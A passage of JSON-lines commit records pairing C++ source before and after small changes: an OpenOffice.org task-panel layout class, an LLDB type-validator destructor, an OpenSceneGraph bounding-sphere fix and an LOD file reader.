}\n        TreeNode* pChild = mpControlContainer->GetControl (nIndex);\n        int nControlHeight = pChild->GetPreferredHeight(mnChildrenWidth);\n        if (pChild->IsResizable())\n        {\n            nControlHeight = nAvailableHeight \/ nResizableCount;\n            nResizableCount--;\n        }\n        nAvailableHeight -= nControlHeight;\n        pChild->GetWindow()->SetPosSizePixel(\n            aPosition,\n            Size(mnChildrenWidth, nControlHeight));\n        aPosition.Y() += nControlHeight;\n    }\n\n    \/\/ If the children do not cover their parent window completely\n    \/\/ (regarding the height) we put a filler below that is responsible for\n    \/\/ painting the remaining space.\n    int nWindowHeight = GetSizePixel().Height();\n    if (aPosition.Y() < nWindowHeight)\n    {\n        maWindowFiller.SetPosSizePixel (\n            aPosition,\n            Size(mnChildrenWidth, nWindowHeight-aPosition.Y()));\n        maStripeList.push_back( ::std::pair<int,int>(\n            aPosition.Y(),\n            nWindowHeight-1));\n        \/\/        maScrollWindowFiller.Show();\n        aPosition.Y() = nWindowHeight;\n    }\n    else\n        maWindowFiller.Hide();\n\n    aPosition.Y() += mnVerticalBorder;\n    mbIsLayoutPending = false;\n\n    return aPosition.Y();\n}\n\n\n\n\nIMPL_LINK(SubToolPanel, WindowEventListener, VclSimpleEvent*, pEvent)\n{\n    if (pEvent!=NULL && pEvent->ISA(VclWindowEvent))\n    {\n        VclWindowEvent* pWindowEvent = static_cast<VclWindowEvent*>(pEvent);\n        switch (pWindowEvent->GetId())\n        {\n            case VCLEVENT_WINDOW_SHOW:\n            case VCLEVENT_WINDOW_HIDE:\n            case VCLEVENT_WINDOW_ACTIVATE:\n            case VCLEVENT_WINDOW_RESIZE:\n                RequestResize();\n                break;\n        }\n    }\n    return 0;\n}\n\n\n\n\n::com::sun::star::uno::Reference<\n    ::com::sun::star::accessibility::XAccessible> SubToolPanel::CreateAccessibleObject (\n        const ::com::sun::star::uno::Reference<\n        ::com::sun::star::accessibility::XAccessible>& )\n{\n    return new ::accessibility::AccessibleTreeNode (\n        *this,\n        ::rtl::OUString::createFromAscii(\"Sub Task Panel\"),\n        ::rtl::OUString::createFromAscii(\"Sub Task Panel\"),\n        ::com::sun::star::accessibility::AccessibleRole::PANEL);\n}\n\n} } \/\/ end of namespace ::sd::toolpanel\n<commit_msg>INTEGRATION: CWS components1 (1.8.14); FILE MERGED 2007\/01\/25 15:22:45 af 1.8.14.2: RESYNC: (1.8-1.9); FILE MERGED 2007\/01\/24 17:48:59 af 1.8.14.1: #i68075# The click handler can now be supplied along with a control.<commit_after>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: SubToolPanel.cxx,v $\n *\n *  $Revision: 1.10 $\n *\n *  last change: $Author: rt $ $Date: 2007-04-03 16:20:22 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_sd.hxx\"\n\n#include \"taskpane\/SubToolPanel.hxx\"\n\n#include \"TaskPaneFocusManager.hxx\"\n#include \"taskpane\/TitleBar.hxx\"\n#include \"taskpane\/TitledControl.hxx\"\n#include \"taskpane\/ControlContainer.hxx\"\n#include \"AccessibleTreeNode.hxx\"\n\n#ifndef _SV_DECOVIEW_HXX\n#include <vcl\/decoview.hxx>\n#endif\n#include <vcl\/svapp.hxx>\n\nnamespace sd { namespace toolpanel {\n\n\nSubToolPanel::SubToolPanel (\n    TreeNode* pParent)\n    : Control (pParent->GetWindow(), WB_DIALOGCONTROL),\n      TreeNode(pParent),\n      maWindowFiller(this),\n      mbIsRearrangePending(true),\n      mbIsLayoutPending(true),\n      mnChildrenWidth(0),\n      mnVerticalBorder(0),\n      mnVerticalGap(3),\n      mnHorizontalBorder(2)\n{\n    SetAccessibleName (\n        ::rtl::OUString::createFromAscii(\"Sub Task Panel\"));\n    mpControlContainer->SetMultiSelection (true);\n\n    SetBorderStyle (WINDOW_BORDER_NORMAL);\n    SetMapMode (MapMode(MAP_PIXEL));\n\n    \/\/ To reduce flickering during repaints make the container windows\n    \/\/ transparent and rely on their children to paint the whole area.\n    SetBackground(Wallpaper());\n    maWindowFiller.SetBackground(\n        Application::GetSettings().GetStyleSettings().GetWindowColor());\n}\n\n\n\n\nSubToolPanel::~SubToolPanel (void)\n{\n    sal_uInt32 nCount = mpControlContainer->GetControlCount();\n    for (sal_uInt32 nIndex=0; nIndex<nCount; nIndex++)\n    {\n        TitledControl* pControl = static_cast<TitledControl*>(\n            mpControlContainer->GetControl(nIndex));\n        pControl->GetControl()->GetWindow()->RemoveEventListener(\n            LINK(this,SubToolPanel,WindowEventListener));\n    }\n    mpControlContainer->DeleteChildren();\n}\n\n\n\n\nvoid SubToolPanel::ListHasChanged (void)\n{\n    mpControlContainer->ListHasChanged ();\n    RequestResize ();\n}\n\n\n\n\nvoid SubToolPanel::AddControl (\n    ::std::auto_ptr<TreeNode> pControl,\n    const String& rTitle,\n    ULONG nHelpId)\n{\n    pControl->GetWindow()->AddEventListener (\n        LINK(this,SubToolPanel,WindowEventListener));\n\n    \/\/ We are interested only in the title.  The control itself is\n    \/\/ managed by the content object.\n    TitledControl* pTitledControl = new TitledControl(\n        this,\n        pControl,\n        rTitle,\n        TitledControlStandardClickHandler(GetControlContainer(), ControlContainer::ES_TOGGLE),\n        TitleBar::TBT_SUB_CONTROL_HEADLINE);\n    pTitledControl->GetWindow()->SetParent(this);\n    pTitledControl->GetWindow()->SetHelpId(nHelpId);\n    ::std::auto_ptr<TreeNode> pChild (pTitledControl);\n\n    \/\/ Add a down link only for the first control so that when\n    \/\/ entering the sub tool panel the focus is set to the first control.\n    if (mpControlContainer->GetControlCount() == 0)\n        FocusManager::Instance().RegisterDownLink(GetParent(), pTitledControl->GetWindow());\n    FocusManager::Instance().RegisterUpLink(pTitledControl->GetWindow(), GetParent());\n\n    mpControlContainer->AddControl (pChild);\n}\n\n\n\n\nvoid SubToolPanel::AddControl (::std::auto_ptr<TreeNode> pControl)\n{\n    pControl->GetWindow()->AddEventListener (\n        LINK(this,SubToolPanel,WindowEventListener));\n\n    \/\/ Add a down link only for the first control so that when\n    \/\/ entering the sub tool panel the focus is set to the first control.\n    if (mpControlContainer->GetControlCount() == 0)\n        FocusManager::Instance().RegisterDownLink(GetParent(), pControl->GetWindow());\n    FocusManager::Instance().RegisterUpLink(pControl->GetWindow(), GetParent());\n\n    mpControlContainer->AddControl (pControl);\n}\n\n\n\n\nvoid SubToolPanel::Paint (const Rectangle& rRect)\n{\n    if (mbIsRearrangePending)\n        Rearrange();\n    if (mbIsLayoutPending)\n        LayoutChildren();\n    ::Window::Paint (rRect);\n\n    \/\/ Paint the outer border and the space between every two children.\n    Color aOriginalLineColor (GetLineColor());\n    Color aOriginalFillColor (GetFillColor());\n\n    SetLineColor ();\n    SetFillColor (GetSettings().GetStyleSettings().GetWindowColor());\n\n    Size aSize (GetOutputSizePixel());\n    \/\/ Paint left and right vertical border.\n    Rectangle aVerticalArea (\n        Point(0,0),\n        Size(mnHorizontalBorder,aSize.Height()));\n    DrawRect (aVerticalArea);\n    aVerticalArea.Right() += mnHorizontalBorder + mnChildrenWidth - 1;\n    aVerticalArea.Left() = aVerticalArea.Right() + mnHorizontalBorder;\n    DrawRect (aVerticalArea);\n\n    \/\/ Paint horizontal stripes.\n    Rectangle aStripeArea (\n        Point (mnHorizontalBorder,0),\n        Size(mnChildrenWidth,0));\n    StripeList::const_iterator iStripe;\n    for (iStripe=maStripeList.begin(); iStripe!=maStripeList.end(); iStripe++)\n    {\n        aStripeArea.Top() = iStripe->first;\n        aStripeArea.Bottom() = iStripe->second;\n        if (aStripeArea.Bottom() < 0)\n            continue;\n        if (aStripeArea.Top() >= aSize.Height())\n            break;\n        DrawRect (aStripeArea);\n    }\n\n    SetLineColor (aOriginalLineColor);\n    SetFillColor (aOriginalFillColor);\n}\n\n\n\n\nvoid SubToolPanel::Resize (void)\n{\n    ::Window::Resize();\n    mbIsRearrangePending = true;\n    mbIsLayoutPending = true;\n}\n\n\n\n\nvoid SubToolPanel::RequestResize (void)\n{\n    mbIsRearrangePending = true;\n    mbIsLayoutPending = true;\n    Invalidate();\n}\n\n\n\n\nSize SubToolPanel::GetPreferredSize (void)\n{\n    return GetRequiredSize();\n}\n\n\n\n\nsal_Int32 SubToolPanel::GetPreferredWidth (sal_Int32 )\n{\n    return GetPreferredSize().Width();\n}\n\n\n\n\nsal_Int32 SubToolPanel::GetPreferredHeight (sal_Int32 )\n{\n    return GetPreferredSize().Height();\n}\n\n\n\n\nbool SubToolPanel::IsResizable (void)\n{\n    return true;\n}\n\n\n\n\n::Window* SubToolPanel::GetWindow (void)\n{\n    return this;\n}\n\n\n\n\nsal_Int32 SubToolPanel::GetMinimumWidth (void)\n{\n    return TreeNode::GetMinimumWidth();\n}\n\n\n\n\nvoid SubToolPanel::ExpandControl (\n    TreeNode* pControl,\n    bool bExpansionState)\n{\n    \/\/ Toggle expand status.\n    pControl->Expand (bExpansionState);\n\n    Rearrange ();\n    Invalidate ();\n}\n\n\n\n\n\/** This control shows an expansion bar for every control and in a\n    separate area below that expansion area it shows all controls each\n    with its title bar.  When there is not enough space then show a\n    scroll bar in the control area.\n*\/\nvoid SubToolPanel::Rearrange (void)\n{\n    Size aRequiredSize (GetRequiredSize());\n    if (aRequiredSize.Width()>0 && aRequiredSize.Height()>0)\n    {\n        Size aAvailableSize (GetOutputSizePixel());\n\n        \/\/ Make the children at least as wide as the sub tool panel.\n        if (aRequiredSize.Width() < aAvailableSize.Width())\n            aRequiredSize.Width() = aAvailableSize.Width();\n        mnChildrenWidth = -2*mnHorizontalBorder;\n        mnChildrenWidth += aAvailableSize.Width();\n\n        LayoutChildren();\n\n        mbIsRearrangePending = false;\n    }\n}\n\n\n\n\nSize SubToolPanel::GetRequiredSize (void)\n{\n    \/\/ First determine the width of the children.  This is the maximum of\n    \/\/ the current window width and the individual minimum widths of the\n    \/\/ children.\n    int nChildrenWidth (GetSizePixel().Width());\n    unsigned int nCount = mpControlContainer->GetControlCount();\n    unsigned int nIndex;\n    for (nIndex=0; nIndex<nCount; nIndex++)\n    {\n        TreeNode* pChild = mpControlContainer->GetControl (nIndex);\n        int nMinimumWidth (pChild->GetMinimumWidth());\n        if (nMinimumWidth > nChildrenWidth)\n            nChildrenWidth = nMinimumWidth;\n    }\n\n    \/\/ Determine the accumulated width of all children when scaled to the\n    \/\/ minimum width.\n    nChildrenWidth -= 2*mnHorizontalBorder;\n    Size aTotalSize (nChildrenWidth,\n        2*mnVerticalBorder + (nCount-1) * mnVerticalGap);\n    for (nIndex=0; nIndex<nCount; nIndex++)\n    {\n        TreeNode* pChild = mpControlContainer->GetControl (nIndex);\n        sal_Int32 nHeight = pChild->GetPreferredHeight(nChildrenWidth);\n        aTotalSize.Height() += nHeight;\n    }\n\n    return aTotalSize;\n}\n\n\n\n\nsal_Int32 SubToolPanel::LayoutChildren (void)\n{\n    \/\/ Determine vertical space that can be distributed to sizable children.\n    unsigned int nCount (mpControlContainer->GetControlCount());\n    unsigned int nResizableCount = 0;\n    int nAvailableHeight = GetSizePixel().Height() - 2*mnVerticalBorder;\n    unsigned int nIndex;\n    for (nIndex=0; nIndex<nCount; nIndex++)\n    {\n        TreeNode* pChild = mpControlContainer->GetControl (nIndex);\n        int nControlHeight = pChild->GetPreferredHeight(mnChildrenWidth);\n        if (pChild->IsResizable())\n            nResizableCount++;\n        else\n            nAvailableHeight -= nControlHeight;\n    }\n\n    maStripeList.clear();\n\n    Point aPosition (0,0);\n    aPosition.X() += mnHorizontalBorder;\n    maStripeList.push_back( ::std::pair<int,int>(\n        aPosition.Y(),\n        aPosition.Y() + mnVerticalBorder - 1));\n    aPosition.Y() += mnVerticalBorder;\n\n    \/\/ Place the controls one over the other.\n    for (nIndex=0; nIndex<nCount; nIndex++)\n    {\n        if (nIndex > 0)\n        {\n            maStripeList.push_back( ::std::pair<int,int>(\n                aPosition.Y(),\n                aPosition.Y() + mnVerticalGap - 1));\n            aPosition.Y() += mnVerticalGap;\n        }\n        TreeNode* pChild = mpControlContainer->GetControl (nIndex);\n        int nControlHeight = pChild->GetPreferredHeight(mnChildrenWidth);\n        if (pChild->IsResizable())\n        {\n            nControlHeight = nAvailableHeight \/ nResizableCount;\n            nResizableCount--;\n        }\n        nAvailableHeight -= nControlHeight;\n        pChild->GetWindow()->SetPosSizePixel(\n            aPosition,\n            Size(mnChildrenWidth, nControlHeight));\n        aPosition.Y() += nControlHeight;\n    }\n\n    \/\/ If the children do not cover their parent window completely\n    \/\/ (regarding the height) we put a filler below that is responsible for\n    \/\/ painting the remaining space.\n    int nWindowHeight = GetSizePixel().Height();\n    if (aPosition.Y() < nWindowHeight)\n    {\n        maWindowFiller.SetPosSizePixel (\n            aPosition,\n            Size(mnChildrenWidth, nWindowHeight-aPosition.Y()));\n        maStripeList.push_back( ::std::pair<int,int>(\n            aPosition.Y(),\n            nWindowHeight-1));\n        \/\/        maScrollWindowFiller.Show();\n        aPosition.Y() = nWindowHeight;\n    }\n    else\n        maWindowFiller.Hide();\n\n    aPosition.Y() += mnVerticalBorder;\n    mbIsLayoutPending = false;\n\n    return aPosition.Y();\n}\n\n\n\n\nIMPL_LINK(SubToolPanel, WindowEventListener, VclSimpleEvent*, pEvent)\n{\n    if (pEvent!=NULL && pEvent->ISA(VclWindowEvent))\n    {\n        VclWindowEvent* pWindowEvent = static_cast<VclWindowEvent*>(pEvent);\n        switch (pWindowEvent->GetId())\n        {\n            case VCLEVENT_WINDOW_SHOW:\n            case VCLEVENT_WINDOW_HIDE:\n            case VCLEVENT_WINDOW_ACTIVATE:\n            case VCLEVENT_WINDOW_RESIZE:\n                RequestResize();\n                break;\n        }\n    }\n    return 0;\n}\n\n\n\n\n::com::sun::star::uno::Reference<\n    ::com::sun::star::accessibility::XAccessible> SubToolPanel::CreateAccessibleObject (\n        const ::com::sun::star::uno::Reference<\n        ::com::sun::star::accessibility::XAccessible>& )\n{\n    return new ::accessibility::AccessibleTreeNode (\n        *this,\n        ::rtl::OUString::createFromAscii(\"Sub Task Panel\"),\n        ::rtl::OUString::createFromAscii(\"Sub Task Panel\"),\n        ::com::sun::star::accessibility::AccessibleRole::PANEL);\n}\n\n} } \/\/ end of namespace ::sd::toolpanel\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>loplugin:passstuffbyref<commit_after><|endoftext|>"}
{"text":"<commit_before>\/\/===-- TypeValidator.cpp ---------------------------------------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n\/\/ C Includes\n\n\/\/ C++ Includes\n\n\/\/ Other libraries and framework includes\n\n\/\/ Project includes\n#include \"lldb\/DataFormatters\/TypeValidator.h\"\n#include \"lldb\/Core\/StreamString.h\"\n\nusing namespace lldb;\nusing namespace lldb_private;\n\nTypeValidatorImpl::TypeValidatorImpl(const Flags &flags)\n    : m_flags(flags)\n    , m_my_revision(0)\n{\n}\n\nTypeValidatorImpl::ValidationResult\nTypeValidatorImpl::Success ()\n{\n    return ValidationResult { TypeValidatorResult::Success, \"\" };\n}\n\nTypeValidatorImpl::ValidationResult\nTypeValidatorImpl::Failure (std::string message)\n{\n    return ValidationResult { TypeValidatorResult::Failure, message };\n}\n\nTypeValidatorImpl_CXX::TypeValidatorImpl_CXX (ValidatorFunction f, std::string d, const TypeValidatorImpl::Flags& flags) :\n    TypeValidatorImpl(flags),\n    m_description(d),\n    m_validator_function(f)\n{\n}\n\nTypeValidatorImpl_CXX::~TypeValidatorImpl_CXX()\n{\n}\n\nTypeValidatorImpl::ValidationResult\nTypeValidatorImpl_CXX::FormatObject (ValueObject *valobj) const\n{\n    if (!valobj)\n        return Success(); \/\/ I guess there's nothing wrong with a null valueobject..\n    \n    return m_validator_function(valobj);\n}\n\nstd::string\nTypeValidatorImpl_CXX::GetDescription()\n{\n    StreamString sstr;\n    sstr.Printf (\"%s%s%s%s\",\n                 m_description.c_str(),\n                 Cascades() ? \"\" : \" (not cascading)\",\n                 SkipsPointers() ? \" (skip pointers)\" : \"\",\n                 SkipsReferences() ? \" (skip references)\" : \"\");\n    return sstr.GetString();\n}\n<commit_msg>DataFormatters: add missing destructor implementation<commit_after>\/\/===-- TypeValidator.cpp ---------------------------------------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n\/\/ C Includes\n\n\/\/ C++ Includes\n\n\/\/ Other libraries and framework includes\n\n\/\/ Project includes\n#include \"lldb\/DataFormatters\/TypeValidator.h\"\n#include \"lldb\/Core\/StreamString.h\"\n\nusing namespace lldb;\nusing namespace lldb_private;\n\nTypeValidatorImpl::TypeValidatorImpl(const Flags &flags)\n    : m_flags(flags)\n    , m_my_revision(0)\n{\n}\n\nTypeValidatorImpl::~TypeValidatorImpl()\n{\n}\n\nTypeValidatorImpl::ValidationResult\nTypeValidatorImpl::Success ()\n{\n    return ValidationResult { TypeValidatorResult::Success, \"\" };\n}\n\nTypeValidatorImpl::ValidationResult\nTypeValidatorImpl::Failure (std::string message)\n{\n    return ValidationResult { TypeValidatorResult::Failure, message };\n}\n\nTypeValidatorImpl_CXX::TypeValidatorImpl_CXX (ValidatorFunction f, std::string d, const TypeValidatorImpl::Flags& flags) :\n    TypeValidatorImpl(flags),\n    m_description(d),\n    m_validator_function(f)\n{\n}\n\nTypeValidatorImpl_CXX::~TypeValidatorImpl_CXX()\n{\n}\n\nTypeValidatorImpl::ValidationResult\nTypeValidatorImpl_CXX::FormatObject (ValueObject *valobj) const\n{\n    if (!valobj)\n        return Success(); \/\/ I guess there's nothing wrong with a null valueobject..\n    \n    return m_validator_function(valobj);\n}\n\nstd::string\nTypeValidatorImpl_CXX::GetDescription()\n{\n    StreamString sstr;\n    sstr.Printf (\"%s%s%s%s\",\n                 m_description.c_str(),\n                 Cascades() ? \"\" : \" (not cascading)\",\n                 SkipsPointers() ? \" (skip pointers)\" : \"\",\n                 SkipsReferences() ? \" (skip references)\" : \"\");\n    return sstr.GetString();\n}\n<|endoftext|>"}
{"text":"<commit_before>\/* -*-c++-*- OpenSceneGraph - Copyright (C) 1998-2003 Robert Osfield \n *\n * This library is open source and may be redistributed and\/or modified under  \n * the terms of the OpenSceneGraph Public License (OSGPL) version 0.0 or \n * (at your option) any later version.  The full license is in LICENSE file\n * included with this distribution, and on the openscenegraph.org website.\n * \n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the \n * OpenSceneGraph Public License for more details.\n*\/\n#include <osg\/BoundingSphere>\n#include <osg\/BoundingBox>\n\nusing namespace osg;\n\nvoid BoundingSphere::expandBy(const Vec3& v)\n{\n    if (valid())\n    {\n        Vec3 dv = v-_center;\n        float r = dv.length();\n        if (r>_radius)\n        {\n            float dr = (r-_radius)*0.5f;\n            _center += dv*(dr\/r);\n            _radius += dr;\n        } \/\/ else do nothing as vertex is within sphere.\n    }\n    else\n    {\n        _center = v;\n        _radius = 0.0f;\n    }\n}\n\n\nvoid BoundingSphere::expandRadiusBy(const Vec3& v)\n{\n    if (valid())\n    {\n        float r = (v-_center).length();\n        if (r>_radius) _radius = r;\n        \/\/ else do nothing as vertex is within sphere.\n    }\n    else\n    {\n        _center = v;\n        _radius = 0.0f;\n    }\n}\n\n\nvoid BoundingSphere::expandBy(const BoundingSphere& sh)\n{\n    if (sh.valid())\n    {\n        if (valid())\n        {\n            Vec3 dv = sh._center-_center;\n            float dv_len = dv.length();\n            if (dv_len+sh._radius>_radius)\n            {\n                Vec3 e1 = _center-(dv*(_radius\/dv_len));\n                Vec3 e2 = sh._center+(dv*(sh._radius\/dv_len));\n                _center = (e1+e2)*0.5f;\n                _radius = (e2-_center).length();\n\n            }                    \/\/ else do nothing as vertex is within sphere.\n        }\n        else\n        {\n            _center = sh._center;\n            _radius = sh._radius;\n        }\n    }\n}\n\n\nvoid BoundingSphere::expandRadiusBy(const BoundingSphere& sh)\n{\n    if (sh.valid())\n    {\n        if (valid())\n        {\n            float r = (sh._center-_center).length()+sh._radius;\n            if (r>_radius) _radius = r;\n            \/\/ else do nothing as vertex is within sphere.\n        }\n        else\n        {\n            _center = sh._center;\n            _radius = sh._radius;\n        }\n    }\n}\n\nvoid BoundingSphere::expandBy(const BoundingBox& bb)\n{\n    if (bb.valid())\n    {\n        if (valid())\n        {\n            BoundingBox newbb(bb);\n\n            for(unsigned int c=0;c<8;++c)\n            {\n                Vec3 v = bb.corner(c)-_center; \/\/ get the direction vector from corner\n                v.normalize(); \/\/ normalise it.\n                v *= -_radius; \/\/ move the vector in the opposite direction distance radius.\n                v += _center; \/\/ move to absolute position.\n                newbb.expandBy(v); \/\/ add it into the new bounding box.\n            }\n            \n            _center = newbb.center();\n            _radius = newbb.radius();\n            \n        }\n        else\n        {\n            _center = bb.center();\n            _radius = bb.radius();\n        }\n    }\n}\n\nvoid BoundingSphere::expandRadiusBy(const BoundingBox& bb)\n{\n    if (bb.valid())\n    {\n        if (valid())\n        {\n            for(unsigned int c=0;c<8;++c)\n            {\n                expandRadiusBy(bb.corner(c));\n            }\n        }\n        else\n        {\n            _center = bb.center();\n            _radius = bb.radius();\n        }\n    }\n}\n<commit_msg>From Brad Christiansen, fix expandBy(const BoundingSphere&) method to properly handle the instance of when the two bounding sphere's have a coincident center.<commit_after>\/* -*-c++-*- OpenSceneGraph - Copyright (C) 1998-2003 Robert Osfield \n *\n * This library is open source and may be redistributed and\/or modified under  \n * the terms of the OpenSceneGraph Public License (OSGPL) version 0.0 or \n * (at your option) any later version.  The full license is in LICENSE file\n * included with this distribution, and on the openscenegraph.org website.\n * \n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the \n * OpenSceneGraph Public License for more details.\n*\/\n#include <osg\/BoundingSphere>\n#include <osg\/BoundingBox>\n\nusing namespace osg;\n\nvoid BoundingSphere::expandBy(const Vec3& v)\n{\n    if (valid())\n    {\n        Vec3 dv = v-_center;\n        float r = dv.length();\n        if (r>_radius)\n        {\n            float dr = (r-_radius)*0.5f;\n            _center += dv*(dr\/r);\n            _radius += dr;\n        } \/\/ else do nothing as vertex is within sphere.\n    }\n    else\n    {\n        _center = v;\n        _radius = 0.0f;\n    }\n}\n\n\nvoid BoundingSphere::expandRadiusBy(const Vec3& v)\n{\n    if (valid())\n    {\n        float r = (v-_center).length();\n        if (r>_radius) _radius = r;\n        \/\/ else do nothing as vertex is within sphere.\n    }\n    else\n    {\n        _center = v;\n        _radius = 0.0f;\n    }\n}\n\n\nvoid BoundingSphere::expandBy(const BoundingSphere& sh)\n{\n    if (sh.valid())\n    {\n        if (valid())\n        {\n            Vec3 dv = sh._center-_center;\n            float dv_len = dv.length();\n            \n            if(dv_len == 0 && sh._radius>_radius) {\n               _radius = sh._radius;\n            } \n            else if (dv_len+sh._radius>_radius)\n            {\n                Vec3 e1 = _center-(dv*(_radius\/dv_len));\n                Vec3 e2 = sh._center+(dv*(sh._radius\/dv_len));\n                _center = (e1+e2)*0.5f;\n                _radius = (e2-_center).length();\n\n            }                    \/\/ else do nothing as vertex is within sphere.\n        }\n        else\n        {\n            _center = sh._center;\n            _radius = sh._radius;\n        }\n    }\n}\n\n\nvoid BoundingSphere::expandRadiusBy(const BoundingSphere& sh)\n{\n    if (sh.valid())\n    {\n        if (valid())\n        {\n            float r = (sh._center-_center).length()+sh._radius;\n            if (r>_radius) _radius = r;\n            \/\/ else do nothing as vertex is within sphere.\n        }\n        else\n        {\n            _center = sh._center;\n            _radius = sh._radius;\n        }\n    }\n}\n\nvoid BoundingSphere::expandBy(const BoundingBox& bb)\n{\n    if (bb.valid())\n    {\n        if (valid())\n        {\n            BoundingBox newbb(bb);\n\n            for(unsigned int c=0;c<8;++c)\n            {\n                Vec3 v = bb.corner(c)-_center; \/\/ get the direction vector from corner\n                v.normalize(); \/\/ normalise it.\n                v *= -_radius; \/\/ move the vector in the opposite direction distance radius.\n                v += _center; \/\/ move to absolute position.\n                newbb.expandBy(v); \/\/ add it into the new bounding box.\n            }\n            \n            _center = newbb.center();\n            _radius = newbb.radius();\n            \n        }\n        else\n        {\n            _center = bb.center();\n            _radius = bb.radius();\n        }\n    }\n}\n\nvoid BoundingSphere::expandRadiusBy(const BoundingBox& bb)\n{\n    if (bb.valid())\n    {\n        if (valid())\n        {\n            for(unsigned int c=0;c<8;++c)\n            {\n                expandRadiusBy(bb.corner(c));\n            }\n        }\n        else\n        {\n            _center = bb.center();\n            _radius = bb.radius();\n        }\n    }\n}\n<|endoftext|>"}
{"text":"<commit_before>\/**********************************************************************\n *\n *    FILE:            LOD.cpp\n *\n *    DESCRIPTION:    Read\/Write osg::LOD in binary format to disk.\n *\n *    CREATED BY:        Auto generated by iveGenerate\n *                    and later modified by Rune Schmidt Jensen.\n *\n *    HISTORY:        Created 24.3.2003\n *\n *    Copyright 2003 VR-C\n **********************************************************************\/\n\n#include \"Exception.h\"\n#include \"LOD.h\"\n#include \"Group.h\"\n\nusing namespace ive;\n\nvoid LOD::write(DataOutputStream* out){\n    \/\/ Write LOD's identification.\n    out->writeInt(IVELOD);\n    \/\/ If the osg class is inherited by any other class we should also write this to file.\n    osg::Group*  group = dynamic_cast<osg::Group*>(this);\n    if(group){\n        ((ive::Group*)(group))->write(out);\n    }\n    else\n        out_THROW_EXCEPTION(\"LOD::write(): Could not cast this osg::LOD to an osg::Group.\");\n    \/\/ Write LOD's properties.\n\n        out->writeFloat(getRadius());\n\n    \/\/ Write centermode\n    out->writeInt(getCenterMode());\n    out->writeVec3(getCenter());\n\n        out->writeInt(getRangeMode());\n\n    \/\/ Write rangelist\n    int size = getNumRanges();\n    out->writeInt(size);\n    for(int i=0;i<size;i++){\n        out->writeFloat(getMinRange(i));\n        out->writeFloat(getMaxRange(i));\n    }\n}\n\nvoid LOD::read(DataInputStream* in){\n    \/\/ Peek on LOD's identification.\n    int id = in->peekInt();\n    if(id == IVELOD){\n        \/\/ Read LOD's identification.\n        id = in->readInt();\n\n        \/\/ If the osg class is inherited by any other class we should also read this from file.\n        osg::Group*  group = dynamic_cast<osg::Group*>(this);\n        if(group){\n            ((ive::Group*)(group))->read(in);\n        }\n        else\n            in_THROW_EXCEPTION(\"LOD::read(): Could not cast this osg::LOD to an osg::Group.\");\n        \/\/ Read LOD's properties\n\n                if ( in->getVersion() > VERSION_0002 )\n                    setRadius(in->readFloat());\n\n        \/\/ Read centermode\n        setCenterMode((osg::LOD::CenterMode)in->readInt());\n        setCenter(in->readVec3());\n\n                if ( in->getVersion() > VERSION_0002 )\n                    setRangeMode((RangeMode)in->readInt());\n\n        \/\/ Read rangelist\n        int size = in->readInt();;\n        for(int i=0;i<size;i++){\n            float min = in->readFloat();\n            float max = in->readFloat();\n            setRange(i, min, max);\n        }\n    }\n    else{\n        in_THROW_EXCEPTION(\"LOD::read(): Expected LOD identification.\");\n    }\n}\n<commit_msg>Fixed the order of setting of CenterMode<commit_after>\/**********************************************************************\n *\n *    FILE:            LOD.cpp\n *\n *    DESCRIPTION:    Read\/Write osg::LOD in binary format to disk.\n *\n *    CREATED BY:        Auto generated by iveGenerate\n *                    and later modified by Rune Schmidt Jensen.\n *\n *    HISTORY:        Created 24.3.2003\n *\n *    Copyright 2003 VR-C\n **********************************************************************\/\n\n#include \"Exception.h\"\n#include \"LOD.h\"\n#include \"Group.h\"\n\nusing namespace ive;\n\nvoid LOD::write(DataOutputStream* out){\n    \/\/ Write LOD's identification.\n    out->writeInt(IVELOD);\n    \/\/ If the osg class is inherited by any other class we should also write this to file.\n    osg::Group*  group = dynamic_cast<osg::Group*>(this);\n    if(group){\n        ((ive::Group*)(group))->write(out);\n    }\n    else\n        out_THROW_EXCEPTION(\"LOD::write(): Could not cast this osg::LOD to an osg::Group.\");\n    \/\/ Write LOD's properties.\n\n        out->writeFloat(getRadius());\n\n    \/\/ Write centermode\n    out->writeInt(getCenterMode());\n    out->writeVec3(getCenter());\n\n    out->writeInt(getRangeMode());\n\n    \/\/ Write rangelist\n    int size = getNumRanges();\n    out->writeInt(size);\n    for(int i=0;i<size;i++){\n        out->writeFloat(getMinRange(i));\n        out->writeFloat(getMaxRange(i));\n    }\n}\n\nvoid LOD::read(DataInputStream* in){\n    \/\/ Peek on LOD's identification.\n    int id = in->peekInt();\n    if(id == IVELOD){\n        \/\/ Read LOD's identification.\n        id = in->readInt();\n\n        \/\/ If the osg class is inherited by any other class we should also read this from file.\n        osg::Group*  group = 